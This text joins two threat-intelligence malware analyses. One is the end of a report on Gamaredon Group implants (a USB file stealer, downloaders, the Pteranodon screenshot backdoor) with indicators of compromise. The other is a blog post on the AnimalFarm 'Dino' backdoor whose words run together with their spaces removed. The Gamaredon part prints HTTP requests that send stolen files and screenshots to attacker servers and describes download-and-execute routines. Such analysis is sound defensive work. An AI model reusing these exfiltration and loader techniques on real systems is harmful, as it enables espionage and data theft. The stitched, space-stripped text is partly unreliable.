The following request is used which also includes information about the victim, the file to be transferred as well as the source drive: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 POST /post.php HTTP/1.1 Content-Type: multipart/form-data boundary----qwerty Host: 195.62.52.93 Content-Length: ... Cache-Control: no-cache ------qwerty Content-Disposition: form-data namefilename \\filename ------qwerty Content-Disposition: form-data namefiledate month/day/year hour:seconds ------qwerty Content-Disposition: form-data namecompname ComputerNameUsernameUserHWGUIDC_VolumeSerialNumber ------qwerty Content-Disposition: form-data nameserial SerialNumberOfDriveToStealFrom ------qwerty Content-Disposition: form-data namew ?
------qwerty Content-Disposition: form-data namefilesize FileSize ------qwerty Content-Disposition: form-data namefile filename Content-Type: application/octet-stream Content-Transfer-Encoding: binary ...File data... ------qwerty-- The malware also creates a SQLite database named asha.dat in the local users temp folder.
Therein, it keeps track of files which were stolen by calculating the MD5 hash of the filename followed by the file length.
Therefore, it creates a Unicode string of the original file path from the drive and concatenates the file size in bytes to it.
Finally, it uses the API functions MD5Init(), MD5Update() and MD5Final() to calculate the hash and store it in the database.
Figure 7 Structure of the database created by the malware It should be noted, that only hashes of files are added to the database that dont have the following extensions: DLL BIN CAB EXE 7/13 ISO Downloader: MSO1567.dls / LocalSMS.dll This file is essentially a simple downloader which contacts the C2 server to send some user data and get an executable as response which will be executed.
The DLL is written in C and contains all of the functionality is in an export function named EntryPoint.
The file was compiled without any compiler or linker optimizations, thus the big file size and the remaining PDB path string.
At first, the malware retrieves the temp path of the local user (C:\Users\Username\AppData\Local\Temp\), the computer name (e.g.
WIN-MLABCSUOVJB), the hardware profile GUID (e.g.
826ee360-7139-11de-8d20-808e6f6e6263) and the volume serial number of C:\ drive (e.g.
1956047236).
Next, it takes the following hardcoded string: http://adobe.update-service[.
]net/index.php?comp To create a URL string with the victims information for contacting the C2 server: http://adobe.update-service[.
]net/index.php?compWIN-MLABCSUOVJBidWIN-MLABCSUOVJB_826ee360-7139-11de-8d20-808e6f6e62631956047236 To create the filename where the downloaded file will be saved, the malware tries to build a random string of 10 characters.
However, due to an implementation error the string always ends up being the same, namely frAQBc8Wsa.
This string gets concatenated with the retrieved local users temp path to the following file path: C:\Users\\AppData\Local\Temp\frAQBc8Wsa Then, it uses the API function URLDownloadToFileA() to download a payload to disk and executes it via CreateProcess().
Finally, it sleeps for 60 seconds before terminating the payload and the DLL exits.
Downloader: MSO8734.obn / MpClients.dll This file is a slightly more advanced version of LocalSMS.dll downloader.
Instead of downloading a payload directly to disk, this file requests a download command from the C2 server which contains the actual payload URL to be used.
Therefore, it uses a basic network implementation based on the Winsock functions.
All the functionality of this DLL is put into an export function named bitDefender.
It creates a socket, requests the address of the hardcoded C2 server win-restore.ru via gethostbyname() and connects to it.
Thereafter, it also collects the volume serial number of C:\ drive, the computer name and the hardware profile GUID.
With this information, it creates the following string used by a subsequent send() function call: GET /css.php?idWIN-MLABCSUOVJB_826ee360-7139-11de-8d20-808e6f6e62631956047236 HTTP/1.1 Host: win-restore.ru Connection: close The response will be stored into a memory buffer via recv() and scanned for the string urltoload.
As the name suggests, the received data contains the actual URL of the payload inside curly brackets.
The URL gets pulled out of the string and is used again as input for the API function URLDownloadToFile().
Again, the same file path will be used to store the payload on disk and execute it: C:\Users\Username\AppData\Local\Temp\frAQBc8Wsa Pteranodon: MSO1234.win / winrestore.dll Pteranodon is a backdoor which also can capture screenshots based on a configuration file created on the disk.
Further, it uploads the screenshots to the C2 server unencrypted.
All the functionality of this DLL is put into an export function named updater.
At first, it retrieves the APPDATA folder of the local user to build the following file path: C:\Users\Username\AppData\Roaming\Microsoft\desktop.ini Then, it checks if the file already exists and continues execution if so.
If not, it runs a routine which checks if there is mouse movement as an anti-sandbox technique.
If no mouse movement is detected the malware runs in an infinite loop checking for mouse movement.
If the file desktop.ini does not exist, the malware creates it and writes the following information into it: interval60 msfolder10 status0 This information is used as configuration data to create the screenshots.
There are also other commands possible which can be retrieved from the C2 server.
The following commands are available: exec This command is used to download and execute a payload from a URL present in the curly brackets.
It creates a random file path in temp folder, calls URLDownloadToFile() and CreateProcess() to run the payload.
Then, it waits 30s and terminates the payload.
interval This command is used to define the interval in seconds between the creation of two or more screenshots.
msfolder This command defines the number of screenshots to create.
command / command_c This command is used to execute a file present as a string between the curly brackets.
The variant with the c uses the Windows tool cmd.exe with help of ShellExecute().
status This command contains the flag which defines if screenshots should be made (1) or not (0).
Next, it checks for a mutex named asassin1dj to verify if the system is already infected and creates it if this isnt the case: 8/13 Figure 8 Mutex check and creation routine Next, it creates the following folder, if not already present: C:\Users\Username\AppData\Roaming\Microsoft\store Next, according to the configuration data in desktop.ini it constantly creates 24-bit color depth JPEG screenshots without extension in the store folder with help of GDI32 and gdiplus API functions.
The following file naming scheme for the screenshots is used: yearmonthday_hourminuteseconds After the last screenshot was created, it uploads all files from the store folder to the C2 server win-restore[.
]ru.
Then, it deletes all the files present in the folder and starts a new screenshot creation cycle.
It should be noted that there is no check of what files are uploaded.
The files are uploaded via POST HTTP method to the script vvd.php.
For this, the following HTTP request is used which contains also data from the victim as well the JPEG files: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 POST /vvd.php HTTP/1.1 Accept: application/x-www-form-urlencoded Connection: Keep-Alive Content-Type: multipart/form-data boundary----------987978B0urd3Gf_ Accept-Charset: utf-8 User-Agent: asasing Host: win-restore.ru Content-Length: length Cache-Control: no-cache ------------987978B0urd3Gf_ Content-Type: text/html Content-Disposition: form-data nameuuid WIN-MLABCSUOVJB_826ee360-7139-11de-8d20-808e6f6e62631956047236 ------------987978B0urd3Gf_ Content-Type: application/octet-stream Content-Disposition: form-data namefile0 filename_ Content-Transfer-Encoding: 8bit ...JPEG file... ------------987978B0urd3Gf_ Content-Type: application/octet-stream Content-Disposition: form-data namefile1 filename_ Content-Transfer-Encoding: 8bit ...JPEG file... ... ------------987978B0urd3Gf_ Finally, it checks if any new command information is available from the C2 server and updates the desktop.ini file according to it.
Based on functionality, compile timestamps, and binary differencing this malware is likely an updated version of 598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824.
wmphost.exe This file runs an infinite loop until mouse movement gets detected, then it exits.
This file can be used to circumvent sandboxes that dont simulate mouse movement.
To detect if its running inside a sandbox, another file can scan the list of running processes to see if wmphost.exe is present or not.
Appendix B: Indicators of Compromise Domain Names admin-ru[.
]ru adobe.update-service[.
]net apploadapp.webhop[.
]me brokbridge[.
]com cat.gotdns[.
]ch check-update[.
]ru childrights.in[.
]ua conhost.myftp[.
]org docdownload.ddns[.
]net downloads.email-attachments[.
]ru downloads.file-attachments[.
]ru dyndownload.serveirc[.
]com e.muravej[.
]ua 9/13 email-attachments[.
]ru file-attachments[.
]ru freefiles.myftp[.
]biz getmyfile.webhop[.
]me googlefiles.serveftp[.
]com grom56.ddns[.
]net grom90.ddns[.
]net hrome-update[.
]ru hrome-updater[.
]ru loaderskypetm.webhop[.
]me loadsoulip.serveftp[.
]com mail.file-attachments[.
]ru mails.redirectme[.
]net mars-ru[.
]ru msrestore[.
]ru oficialsite.webhop[.
]me parkingdoma.webhop[.
]me poligjong.webhop[.
]me polistar.ddns[.
]net proxy-spread[.
]ru rms.admin-ru[.
]ru samotsvety.com[.
]ua skypeemocache[.
]ru skypeupdate[.
]ru spbpool.ddns[.
]net spread-service[.
]ru spread-ss[.
]ru spread-updates[.
]ru stor.tainfo.com[.
]ua tortilla.sytes[.
]net ukrnet.serveftp[.
]com ukrway.galaktion[.
]ru umachka[.
]ua update-service[.
]net updatesp.ddns[.
]net updateviber.sytes[.
]net webclidie.webhop[.
]me win-restore[.
]ru winloaded.sytes[.
]net winupdateloader[.
]ru www.file-attachments[.
]ru www.win-restore[.
]ru yfperoliz.webhop[.
]me URLs: http://childrights.in[.
]ua/public/manager/img/scrdll.ini http://prestigeclub.frantov[.
]com.ua/press-center/press/chrome-xvnc-v5517.exe http://umachka[.
]ua/screen/dk.tmp http://umachka[.
]ua/screen/screen.tmp http://viberload.ddns[.
]net/viber.nls Hashes: Samples using custom developed tools: 002aff376ec452ec35ae2930dfbb51bd40229c258611d19b86863c3b0d156705 08e69f21c3c60a4a9b78f580c3a55d4cfb74729705b5b7d01c1aecfd58fc49e6 0c47cf984afe87a14d0d4c94557864ed19b4cb52783e49ce96ebf9c2f8b52d27 0dc1010c3d3766158e2347d10fc78d9223c6e0e3a44aa8a76622aeff7d429ab9 0f745512940e0efd8f09c6d862571cba2b98fac9a9f7cf30dedcc08ace43a494 145dab86a43835bb37734c16756d6d64d8e5ac6b87c491c57385e27b564136b8 222e85e6d07bdc3a2141cdd582d3f2ed4b1ce5285731cc3f54e6202a13737f8d 2f2b26f2f7d164ea1f529edbc3cb8a1063b39121dad4dd19d8ee4bbbaf25ed37 3242183b1f0176a2e3cfb6bfef96b9d55c5a59ea9614dbde4ef89979336b5a5d 3773ddd462b01f9272656f3150f2c3de19e77199cf5fac1f44287d11593614f9 37c78ee7826d63bb9219de594ed6693f18da5db60e3cbc86795bd10b296f12ac 3e5b1116b2dfd99652a001968a05fc962974931a0596153ab0dea8e4a9982f89 400f53a89d08d47f608e1288d9873bf8d421fc7cd642c5e821674f38e07a1501 598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824 5b22ace98b57ed19d815c49983c96a3c6ff0b2701e8167d4422c6990982abcf9 5ec8b7ca4461720bd69fb49b3f6cae637d8ac3bbd675da938bc5a84e9b73b395 840b3d4cc95dbf311f792a9f50137056deb66bfdbb55eb9f54ff381a0df65656 90ba0f95896736b799f8651ef0600d4fa85c6c3e056e54eab5bb216327912edd 97ebd7bfad63b36b4572132f6ece359ff9991f269048c0b145411699bfe3dc34 9a1fd88970da3809f45cef00360d1e54ea11a70035c277c130404a67371e142d 9cb64d3242d2b591bd2ff13b1aadef2e6b4bf9147f4a0926613b7c9343feb312 a46508ec9e48c256261b2d1914532a36ac7da093253320135d77581051751b75 10/13 a7e27ff0695a4bdf58c584f48664acd3a385ccebf3a542fdd6d7383f414aa83a a804beddd22bb76ea207a9607ed5c888f2f640cbd9ed9a32942fcd0b8a25c4d5 ae5ab2e887a9b46ea7819b7ebbb8163028e66882c97e75b0698dc3a69a69d7da b2fb7d2977f42698ea92d1576fdd4da7ad7bb34f52a63e4066f158a4b1ffb875 b9434e5a14159c49af2d1a5a11d570f195797d6b17aa560c3dde4a5b3486bf2a be2be662cc821a924d5641422dd1116e99188c6923da092ca3f0f8f862bd2d2d d01df47b6187631c9a93bdad1298439ab1a1c5529b3319f3614b6ec2455e5726 d1ba365e93ff0a4f3a2cb1d657568e583e3fbd7dbb1c2c52e28f16480324e3bb ddfc6bb4819527b2424d6e1a84f04b67adad79401e39efbffba5b7d727e732f0 df434f54802a6814628f30cae335c302bae7085c4e8314d71a41a47d9c410c39 e24715900aa5c9de807b0c8f6ba8015683af26c42c66f94bee38e50a34e034c4 f2296bcb6be68dfb330baec2091fb11a42a51928ba057164213580e6ff0e1126 Samples using bundled commodity tools: 026be8a873560f1496c6961f6e36c312bdda01beacb17c4b744f35ee1923d061 03c943f5cba11b09b9c3afa0705d4a027e5a9d81b299711740cc5aedfe4b4aa1 03e5e99cc8280de4663c4b65bfd26782d4975258808a63a4b20bc068008df7f5 059e40ba91b2b2d827c200476fcbd0fad0d43ab198d0c206c996777d27e6de65 0669e61e51cf43daa431d52b5461c90bdce1b1bee03b087e4406c30264dcb9a4 068b9a9194efacc16cf142814e79b7041b6ab3d671a95bb508dbd30061c324aa 0b4a90b823a581311c4acb59f35e32f81f70ca16a2538f54f4dbe03db93350df 0b5316d723d1ebbec9aba0c9ff6761050305d644c3eeb5291b4e2c4de9e5fa15 0b8d59312699739b6e6cb7aeb0f22a2eaebbb0fd898a97ef9b83e8d8e9ce67a0 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dd26b85b6568595b1d2bbc47ce47d071ede75665fbd779d637b74663ead5539e df9038660164623a827a8119d4cb3d71d0a5288b12bdfdd32c72769bf90a9ea0 dfed16e9184a86e6fcd17a98f127410840d058db667e9975b43add100c33122e e0063d2524a89159cf5da12661225fbb27725bbd72acd9497b7207ecf2f3aeb6 e00c55ddda9cbb82fb47924fafdf40c3394dc1127d9901c71a69ef3ef664b817 e14a51d69211948163ab20b0cc68adf410bb821f2890f55d2d202c745f4ec1b8 e2e3f243bbcad666852e64202d35f6dd88c58f5d24435d92975697b0efa8a775 e37e25739e8bc4620d9d37d8f6b400cd82c85b89d206436ba35930ed96db6eb0 e55b5ede808b6d491f18737d6a1cf34b5178f02e9ea01d7cff31a449888dbd73 ed28d9207acac2afff817eaa56d1599422e23946dffa4f8bade376d52a6af7d4 eda0853e814ee31a66c3b42af45cd66019ffd61eac30e97bd34c27d79253a1bb f1b3e58d060803b0ff6008386bab47fb8099ac75ee74f385ac34340a28bf716e f2091f71227180d74ba1ba4607635e623553b1826314dca91cb31839eb00c4ea f214d55ccb5db5edbaafe7d40b240c79f04c70d441adee01ef438f776eb37037 f571ddc894915dee136cf24731ff3d79fe4f811b112d122a34a128628cb43c4a f7676d2a28992a382475af2ae0abca4794e1397ef3327f30f7d4cbdbc2ca0a68 f8e20894c8c18d79e80b431008aa8bef46cc10a355a4934f9cc40ffd637b8890 fa1bf7565352099b74624c8beeff6620411e1efe00e54f8b4190f69e243d5811 fa784f69265ebe5e150cf5956a40d86335d1a5edc57fffcc7ce6eedc591c2751 13/13 The Gamaredon Group Toolset Evolution Gamaredon: Historical Tool Analysis Custom Implants Trends Across Implants Final Word Appendix A: Custom Implant Analyses USBStealer: MSO5678.usb / OfficeUpdate.dll Downloader: MSO1567.dls / LocalSMS.dll Downloader: MSO8734.obn / MpClients.dll Pteranodon: MSO1234.win / winrestore.dll wmphost.exe Appendix B: Indicators of Compromise
Dinothelatestspyingmalwarefroman allegedlyFrenchespionagegroupanalyzed BYJOANCALVETPOSTED30JUN201511:12AM Inthisblogwedescribeasophisticatedbackdoor,calledDinobyitscreators.
Webelievethismalicious softwarehasbeendevelopedbytheAnimalFarmespionagegroup,whoalsocreatedtheinfamousCasper, BunnyandBabarmalware.
Dinocontainsinterestingtechnicalfeatures,andalsoafewhintsthatthe developersareFrenchspeaking.
Securitynews,viewsandinsightfromtheESETexperts http://www.cyphort.com/evilbunny-malware-instrumented-lua/ http://www.welivesecurity.com/ https://disqus.com/ https://disqus.com/home/forums/welivesecurity/ https://help.disqus.com/customer/portal/articles/1657951?utm_sourcedisqusutm_mediumembed-footerutm_contentprivacy-btn https://disqus.com/home/inbox/ http://www.cyphort.com/babar-suspected-nation-state-spyware-spotlight/ http://www.welivesecurity.com/author/joan/ http://www.welivesecurity.com/2015/03/05/casper-malware-babar-bunny-another-espionage-cartoon/ https://disqus.com/websites/?utm_sourcewelivesecurityutm_mediumDisqus-Footer AnimalFarmisthesecurityindustrysnameforagroupofattackersfirstdescribedbyCanadas CommunicationsSecurityEstablishment(CSE)inasetofslidesleakedbyEdwardSnowdeninMarch2014.
InthoseslidesCSEassesswithmoderatecertaintythatthisgroupisaFrenchintelligenceagency.
Since then,severalexamplesofmalwarecreatedbyAnimalFarmhavebeenfoundandpubliclydocumented,in particular: Casper,astealthyfirststageimplant,documentedbyESETinlastMarch Bunny,aLuabasedbackdoor,documentedbyMarionMarschalek(Cyphort) Babar,anespionageplatform,alsoanalyzedbyMarionMarschalek TheconnectionbetweenthosepiecesofmalwareandthegroupdescribedinCSEslideshasbeenconvincingly established,forexamplebyPaulRascagnres(GData).
InthisblogpostweaddanewpiecetothepuzzlewithDino,anothermaliciousprogrambelongingtoAnimal Farmsarsenal.
Introduction ThesampleofDinodocumentedinthisblogpostwasusedin2013againsttargetsinIran.
Theoriginalmeans ofinfectionisunknown,thoughwebelieveDinowasinstalledbyanotherprogram,asitcontainsan uninstallationcommandwithoutthecorrespondinginstallationprocedure.
Giventhesetofcommandsitcan receive,Dinosmaingoalseemstobetheexfiltrationoffilesfromitstargets.
Thebinarysoriginalname,Dino.exe,hasbeenleftvisiblebyitsauthors,aswasthecasewithCasper.
Dino whichcouldbereferringtothepetcharacterfromTheFlintstonescartoonshowwasalreadymentionedina recentKasperskyblogasafullfeaturedespionageplatform,butnotechnicalanalysishasbeenpublished yet.
Roughly,Dinocanbedescribedasanelaboratebackdoorbuiltinamodularfashion.
Amongitstechnical innovations,thereisacustomfilesystemtoexecutecommandsinastealthyfashion,andacomplextask schedulingmoduleworkinginasimilarwaytothecronUnixcommand.
Interestingly,thebinarycontainsalot ofverboseerrormessages,allowingustoseeDinosdeveloperschoiceofwording.
Also,afewtechnical artefactssuggestthatDinowasauthoredbynativeFrenchspeakers.
DinoBasics ModulesList DinohasbeendevelopedinCandpresentsawelldefinedmodulararchitecture.
Thefollowingarrayliststhe modulescontainedinthisDinobinarythemodulenamesarethoseassignedbythedevelopers.
Module http://www.spiegel.de/media/media-35683.pdf https://securelist.com/blog/research/69114/animals-in-the-apt-farm/ http://www.cyphort.com/evilbunny-malware-instrumented-lua/ https://blog.gdatasoftware.com/blog/article/babar-espionage-software-finally-found-and-put-under-the-microscope.html http://en.wikipedia.org/wiki/Dino_(The_Flintstones) http://www.welivesecurity.com/2015/03/05/casper-malware-babar-bunny-another-espionage-cartoon/ http://www.cyphort.com/babar-suspected-nation-state-spyware-spotlight/ Name ModulePurpose PSM EncryptedondiskcopyforDino modules CORE Configurationstorage CRONTAB Taskscheduler FMGR Fileuploadanddownload manager CMDEXEC Commandexecutionmanager CMDEXECQ Storagequeueforcommandsto execute ENVVAR Storageforenvironment variables DataStructure DinoheavilyreliesonacustomdatastructurenamedDataStorebytheAnimalFarmdevelopers.
Inparticular, allDinosmodulesstoretheircontentinsidethisstructure,makingitsunderstandingoneofthekeysto analyzingDino.
ADataStoreisamapfromstringkeystovaluesof8possibletypes,suchasintegersorstrings.
The implementationofthisdatastructureisbasedonahashtable.
Itmeansthattoretrievethevalueassociated withakey,onehastocalculatethehashofthekeytolocateabucketfromwhichthevaluecanberetrieved.
DinoshashisaonebytevaluecalculatedwithaseriesofXORoperationsonthekey,andeachbucketstartsa linkedlistcontainingkey/valuepairs.
Thecoderesponsibleforretrievingthevalueassociatedwithakeyis showninFigure1.
http://en.wikipedia.org/wiki/Hash_table http://en.wikipedia.org/wiki/Associative_array Figure1 Finally,DataStoreobjectscanbeserializedinacustomformat,whichbeginswiththemagicwordDxSx.
This isusedinparticularbythePSMmoduletosavethecontentofDinomodulesinanencryptedfile.
More precisely,whenamodificationismadetoamodulescontentinmemory,thePSMmodulesavesitasa serializedDataStore.
WhenDinorestarts,themoduleisdeserializedfromthefileandloadedintomemory.
Funnilyenough,thekeyservingtoencryptthefileondiskisPsmIsANiceM0du1eWith0SugarInside.
Configuration DinosconfigurationisinitiallystoredinaserializedDataStoreobjectcontainedinaziparchiveattheendofthe Dinobinary.
AtruntimethisobjectisdeserializedandstoredinsidetheCOREmodule.
Wecanlistthe configurationscontentwithDinosconflCOREcommanddescribedlaterwhichdisplaysonseparate rowseachkeysname,itsassociatedvalueandthetypeofthisvalue: Started:5523F782QWORD InitialWaitDone:00000001DWORD InteractiveDelay:00000005DWORD MaxNothingSaidCount:00000078DWORD InstallDate:5523F782QWORD fields:78537844[REDACTED]66B3900BYTES recID:1117301PRSWIDESTR Version:1.2WIDESTR BD_Keys:4D41474943424F58[REDACTED]9EB3506BYTES CC_Keys:4D41474943424F58[REDACTED]0000000BYTES MaxDelay:00000E10DWORD ComServer0:hXXp://www.azhar.bf/[REDACTED]/postal.phpSTR ComServer1:hXXp://www.rsvniima.org/[REDACTED]/din12/postal.phpSTR ComServer2:hXXp://www.azhar.bf/[REDACTED]/postal.phpSTR ComServer3:hXXp://www.rsvniima.org/[REDACTED]/din12/postal.phpSTR ComServer4:hXXp://dneprorudnoe.info//[REDACTED]/postal.phpSTR ComServer5:hXXp://dneprorudnoe.info//[REDACTED]/postal.phpSTR ComServer6:hXXp://dneprorudnoe.info//[REDACTED]/postal.phpSTR NextSendReceive:5CC33097FB72D001BYTES CC:000064F772E43F7DC817474DA9BDBDF7STR DaysOfLife:00000000DWORD GUID:12FEB4A9EEDEE411B283000C29FD2872BYTES InitialDelay:00000000DWORD now:5523F78EQWORD hash:A88E8181CA5CE35AE70C76145DFB820DBYTES InitialCommands:78537844[REDACTED]000000BYTES xT0rvwz:DC188352A[REDACTED]00000BYTES tr4qa589:K/[RAFtIP?ciD?
:DSTR jopcft4T:a.iniWIDESTR Whilemostofthekeyshaveselfexplanatorynames,wewouldliketofocusonthefollowingkeys: recID:AnimalFarmsbinariescontainanIDwhosedecimalvalueappearstoidentifythetarget,1117301 PRSinthiscase.
ForexampleCasperusedanIDvaluesetto13001,whereassomeBabarsamples used1207501and1116201.WedonotknowthemeaningofthePRSsuffixaddedinthecaseof Dino.
ComServer:Thesekeyscontainthecommandandcontrol(CC)serversURLs.
AlltheURLsweredown whenwestartedouranalysis.
ThoseCCswerecompromisedlegitimatewebsites,whichisstandard operatingprocedureforAnimalFarm.
Version:Dinoscodeversionheresetto1.2,whichisconfirmedbythedin12folderusedinoneofthe CCURLs.
Fortherecord,ad13folderhasbeenseenonanotherAnimalFarmCC(see3.7Calling homeofMarschaleksBabarreport),indicatingthatDinoversion1.3hasalsolikelybeendeployedat somepoint.
BD_KeysandCC_KeyscontaincryptographickeystoencryptthenetworkcommunicationswithCC servers.
TheirvaluesstartwiththewordMAGICBOX.
Thethreelastkeysaredisplayedwithobfuscatednames(xT0rvwz,tr4qa589andjopcft4T)andstore parametersforthecustomfilesystemwewilldescribelater.
Commands https://drive.google.com/file/d/0B9Mrr-en8FX4dzJqLWhDblhseTA/edit ThefollowingTableliststhecommandsacceptedbythisDinobinarywiththenameschosenbythedevelopers.
Eachofthosecommandscantakeoneormorearguments.
Command Purpose sysinfo Retrievereconnaissanceinformationfromthemachine killBD UninstallDinousingthecustomfilesystem(seeramFS descriptionbelowfordetails) ExecuteWindowsbatchcommandpassedasa parameter cd Changethecurrentworkdirectory pwd Retrievethecurrentworkdirectorypath dir Listfilesinagivendirectorywithvariousadditional information set Setorremoveenvironmentvariablesstoredinthe ENVVARmodule conf Displayorupdatemodulecontent search Searchforfileswhosenamesmatchgivenpatterns.
The filesfoundarepackedinanarchive,whichisthen scheduledforuploadtotheCCusingtheFMGR module.
archive Createanarchivefromgivenfilepaths unarchive Unpackanarchivetoagivenlocation download ScheduleafiletransfertotheCCusingtheFMGR module cancel RemovethenextfiletransferscheduledintheFMGR module cancelall RemoveallscheduledfiletransfersintheFMGRmodule cronadd Scheduleacommandtobeexecutedatacertaintimeby theCRONTABmodule(seeCRONTABdescription belowfordetails) cronlist ListregisteredentriesintheCRONTABmodule crondel RemoveanentryintheCRONTABmodule wakeup Scheduleawakeupofthemalwareafteracertain amountoftimeusingtheCRONTABmodule restart N/A:thecommandisactuallynotimplemented showip DisplaythepublicIPoftheinfectedmachine cominfos DisplayinformationaboutthecurrentlyusedCCserver comallinfos DisplayinformationaboutallknownCCservers wget DownloadafilefromthecurrentlyusedCCserveronto themachine delayttk Delaythedeinstallationofthemalware,ifscheduled Onecommandofparticularinterestissearch,whichallowstheoperatorstolookforfilesveryprecisely.
For example,itcanprovideallfileswitha.docextension,thesizeofwhichisbiggerthan10kilobytes,andthat weremodifiedinthelast3days.
WebelievethisexfiltrationoffilestobeDinosendgoal.
AtstartupDinoexecutessuccessivelythecommandsstoredintheInitialCommandsfieldinitsconfiguration inthesampleweanalyzedtheyare: sysinfo cominfos ipconfig/all ipconfig/displaydns tracertwww.google.com Thosecommandsserveasareconnaissancestepfortheoperators.
Theirexecutionismanagedbythe CMDEXECmodule,thecommandsbeingstoredinaqueueinsidetheCMDEXECQmodule.
Theresultis reportedtotheCCserver.
AfterhavingdescribedDinosbasics,wearenowgoingtodigintotwoparticularlyinterestingcomponentsfirst, acustomfilesystemusedbythemalware,andthentheCRONTABmoduleinchargeoftaskscheduling.
RamFS:ATemporaryFileSystem DinocontainsacustomfilesystemnamedramFSbyitsdevelopers.
Itprovidesacomplexdatastructureto storefilesinmemory,eachofthembearinganamecorrespondingtofilenamesusedbyusualfilesystems.
RamFSalsocomeswithasetofcustomcommandsthatcanbestoredinfilesandexecuted.
Itshouldbe noticedthatramFSisalsopresentinotherAnimalFarmbinaries(seeattributionparagraphbelow),butsince weareunawareofpreviousanalysisoframFS,wearedescribingourfindingshere.
Architecture RamFScontentisinitiallystoredencryptedinDinosconfigurationunderthekeyxT0rvwz,whereasthe correspondingRC4keyisstoredunderthekeytr4qa589.Oncethefilesystemhasbeendecrypted,itis storedinmemoryasalinkedlistof512bytememorychunks,eachoneofthembeingindividuallyRC4 encrypted.
WhenlookingforafileinramFS,eachchunkisdecrypted,processedandthenreencrypted.
Hence thereareveryfewnoticeabletracesoframFSduringitsuse.
Herearesomehighlevelcharacteristicsofthisfilesystem: FilenamesandfilecontentareencodedinUnicode Filenameslengthislimitedto260characters Oncedecrypted,filecontentismanipulatedaschunksof540bytes Thereisnometadataassociatedwiththefiles http://www.google.com/ WecouldnotfindanexistingfilesystemmatchingthememorystructuresandthecharacteristicsoframFS,and thereforewebelievethisfilesystemtobeanoriginalcreationoftheAnimalFarmgroup.
Commands SeveralcommandscanbeexecutedinthecontextoframFS,aslistedinthefollowingTable.
Command Meaning CD Changethecurrentworkdirectoryontherealfile system MD N/A:thecommandisactuallynotimplemented INSTALL InstallationordeinstallationofDino,inWindows registryand/orasaservice EXTRACT ExtractsafilestoredinramFSontothemachine DELETE Deletesafilestoredonthemachine EXEC ExecutesafilestoredinramFS INJECT InjectsafilestoredinramFSintoarunningprocess SLEEP Sleepsforagivenamountoftime KILL Terminatesarunningprocess AUTODEL N/A:thecommandisactuallynotimplemented UsageoframFSinDino InthecaseofDino,ramFSservesasprotectedstorageforonespecificfilecontainingtheinstructionsto removethemalwarefromthemachine.
Thedevelopersnamedthisfilethecleaneranditisexecutedwhen DinoreceivesthecommandkillBD(theBDacronymisthedevelopersdesignationofthemalware).
Figure2showsthecoderesponsibleforexecutingthiscleanerfile.
First,itretrievesthenameofthefilefrom Dinosconfiguration(a.ini),thenitretrievesthekeytodecryptramFS,anditfinallymountsthefilesystemin memoryinordertoexecutethecleanerfilestoredinside.
Theverbosityoftheerrormessagesmakesit particularlyeasytounderstandthepurposeofthecode.
Figure2 ThecleanerfilecontainsthestringINSTALLAwusvcdUwhich,onceexecuted,willuninstallthemalware fromthemachinewusvcdbeingthenameusedtoregisterDinoonthemachine.
Hence,ramFSservesasaprotectedcontainerforfilestobeexecutedonthemachine,offeringadisposable executionenvironmenttotheoperatorsandleavingveryfewtracesonthesystem.
TasksschedulinginaUnixfashion Thecommandscronadd,cronlistandcrondelserverespectivelytoadd,list,andremovescheduledtasks registeredintheCRONTABmodule.
ThosetasksareDinoscommands.
ThesyntaxtodefinescheduledtasksissimilartotheoneusedbythecronUnixcommand.
Inparticularthe timeatwhichtorunacommandisgivenbyastringfollowingtheformatminutehourdaymonthyear dayofweek.
Alternatively,thisstringcanbereplacedbybootforacommandtorunateachstartup whereassomeUnixcronimplementationsacceptreboot.
Asanexample,hereistheoutputofthecronlistcommandafterawakeupcommandhasbeenscheduledto runon7thApril2015at15:44: http://en.wikipedia.org/wiki/Cron Aswecansee,eachentryisidentifiedbyanId,anincrementinghexadecimalnumberstartingat0xC0.The purposeoftheLocalfieldremainsunclear(theotherpossiblevaluebeingl).TheCountparametercounts thenumberoftimesacommandhasbeenexecuted,1indicatingthecommandwillbeexecutedonlyonce.
Finally,theVisibilityfielddefineswhetherthecommandexecutionwillbereportedtotheCC(theother possiblevaluebeingSilent).
Attribution DinoBelongsToTheFarm TheamountofsharedcodebetweenDinoandknownAnimalFarmmalwareleavesverylittledoubtthatDino belongstoAnimalFarmsarsenal.
Amongthesesharedfeatures,wecancitethefollowing: AttheverybeginningofDinoexecution,thecurrentprocessnameischeckedagainstprocessnamesused bysomesandboxes: Figure3 Averysimilarcheck(againstklavme,myapp,TESTAPPandafyjevmv.exe)ispresentinBunnysamples, andinsomefirststageimplantsdeployedbyAnimalFarm.
TohideitscallstocertainAPIfunctions,DinoemploysaclassicAnimalFarmploy:ahashiscalculatedfrom thefunctionsnameandusedtolookfortheaddressoftheAPIfunction.
Theactualhashingalgorithmused inDinoisthesamethatwasusedinCasper,namelyacombinationofrotateleft(ROL)of7bitsand exclusiveor(XOR)operations.
TheDinoscustomfilesystemthesocalledramFSispresentinseveraldroppersusedbyAnimalFarm.
Inthosebinariesthefilesystemservestosetthepersistenceofthepayload.
Forexample,hereisthe commandexecutedbysomeNBOTdroppersinthecontextoframFS: AsafinalindicationthatDinobelongstoAnimalFarmmenagerie,itisnoticeablethattheoutputofDinos sysinfocommandlookslikeanupdatedversionofthebeaconfromtheSNOWBALLimplantdescribedin theleakedCSEslidespartofoperationSNOWGLOBE,whichledtothediscoveryofBabar: Dinossysinfoexampleoutput Login/Domain(owner):Administrator/JOHN(john) Computername:JOHN Organization(country):(UnitedStates) RecId:1117301PRS MaxDelay:3600 Version:1.2 OSversion(SP):5.1(ServicePack3) WOW64:No Defaultbrowser:firefox.exe IEversion:Mozilla/4.0(compatibleMSIE7.0Win32) Firstlaunch:04/01/201518:31:14 Timetokill:N/A Lastlaunch:04/01/201519:21:44 Mode:N/ARights:AdminUAC:No ID:4635BEF0D89D11E4B283000C29FD2872 InstallAv:0 Inj:Yes SNOWBALLimplantbeacon http://www.welivesecurity.com/2015/03/05/casper-malware-babar-bunny-another-espionage-cartoon/ AlltheseindicatorstogethermakeusveryconfidentthatDinowasdevelopedbytheAnimalFarmgroup.
